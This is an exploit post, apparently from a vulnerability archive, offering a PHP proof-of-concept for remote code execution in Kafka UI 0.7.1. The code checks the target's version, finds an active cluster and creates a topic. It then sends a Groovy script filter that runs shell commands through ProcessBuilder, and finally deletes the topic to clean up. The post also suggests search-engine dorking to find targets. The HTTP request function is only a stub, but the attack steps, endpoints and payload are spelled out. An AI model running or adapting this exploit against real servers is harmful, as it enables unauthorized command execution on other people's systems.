Headline
Kafka UI 0.7.1 Code Injection
Kafka UI version 0.7.1 suffers from a remote code injection vulnerability.
=============================================================================================================================================| # Title : Kafka UI 0.7.1 Code Injection Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) || # Vendor : https://github.com/provectus/kafka-ui/ |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 159 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass KafkaUIExploit { private $target; private $version; private $cluster; private $new_topic; public function __construct($target) { $this->target = $target; } public function vuln_version() { $uri = $this->normalize_uri('/actuator/info'); $response = $this->send_request('GET', $uri, 'application/json'); if ($response && $response['status_code'] == 200) { $json_response = json_decode($response['body'], true); if (!empty($json_response)) { if (isset($json_response['build']['version'])) { $this->version = ltrim($json_response['build']['version'], 'v'); } elseif (isset($json_response['git']['commit']['id'])) { // Git commit versioning (this part should check with a local list if needed) $git_commit_id = substr($json_response['git']['commit']['id'], 0, 7); // Implement logic to map git commit to version } return version_compare($this->version, '0.7.1', '<=') && version_compare($this->version, '0.4.0', '>='); } } return false; } public function get_cluster() { $uri = $this->normalize_uri('/api/clusters'); $response = $this->send_request('GET', $uri, 'application/json'); if ($response && $response['status_code'] == 200) { $json_response = json_decode($response['body'], true); foreach ($json_response as $cluster) { if ($cluster['status'] == 'online' || $cluster['topicCount'] > 0) { return $cluster['name']; } } } return null; } public function create_topic($cluster) { $topic_name = $this->random_string(8); $post_data = json_encode([ 'name' => $topic_name, 'partitions' => 1, 'replicationFactor' => 1, 'configs' => [ 'cleanup.policy' => 'delete', 'retention.bytes' => '-1' ] ]); $uri = $this->normalize_uri("/api/clusters/$cluster/topics"); $response = $this->send_request('POST', $uri, 'application/json', $post_data); if ($response && $response['status_code'] == 200) { $json_response = json_decode($response['body'], true); return $json_response['name']; } return null; } public function delete_topic($cluster, $topic) { $uri = $this->normalize_uri("/api/clusters/$cluster/topics/$topic"); $response = $this->send_request('DELETE', $uri, 'application/json'); return $response['status_code'] == 200; } public function produce_message($cluster, $topic) { $post_data = json_encode([ 'partition' => 0, 'key' => 'null', 'content' => 'null', 'keySerde' => 'String', 'valueSerde' => 'String' ]); $uri = $this->normalize_uri("/api/clusters/$cluster/topics/$topic/messages"); $response = $this->send_request('POST', $uri, 'application/json', $post_data); return $response['status_code'] == 200; } public function execute_command($cmd) { $payload = "Process p=new ProcessBuilder(\"sh\",\"-c\",\"$cmd\").redirectErrorStream(true).start()"; $uri = $this->normalize_uri("/api/clusters/{$this->cluster}/topics/{$this->new_topic}/messages"); $params = [ 'q' => $payload, 'filterQueryType' => 'GROOVY_SCRIPT', 'attempt' => 2, 'limit' => 100, 'page' => 0, 'seekDirection' => 'FORWARD', 'keySerde' => 'String', 'valueSerde' => 'String', 'seekType' => 'BEGINNING' ]; return $this->send_request('GET', $uri, 'application/x-www-form-urlencoded', '', $params); } public function check() { if ($this->vuln_version()) { return "Kafka-ui version: {$this->version} is vulnerable"; } return "Kafka-ui version is not vulnerable or unknown."; } public function exploit() { $this->cluster = $this->get_cluster(); if (!$this->cluster) { die("Could not find or connect to an active Kafka cluster."); } $this->new_topic = $this->create_topic($this->cluster); if (!$this->new_topic) { die("Could not create a new topic."); } if (!$this->produce_message($this->cluster, $this->new_topic)) { die("Failed to trigger Groovy script payload execution."); } $this->execute_command('your_command_here'); // Replace with your desired command if ($this->delete_topic($this->cluster, $this->new_topic)) { echo "Successfully deleted topic {$this->new_topic}."; } else { echo "Could not delete topic {$this->new_topic}. Manual cleanup required."; } } private function send_request($method, $uri, $content_type, $data = '', $params = []) { // Placeholder for HTTP request logic (curl, file_get_contents, etc.) // Implement this function with your desired HTTP request library in PHP return [ 'status_code' => 200, 'body' => '{}' ]; } private function normalize_uri($path) { return $this->target . $path; } private function random_string($length) { return bin2hex(random_bytes($length / 2)); }}// Example usage:$exploit = new KafkaUIExploit("http://target.com");echo $exploit->check();$exploit->exploit();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================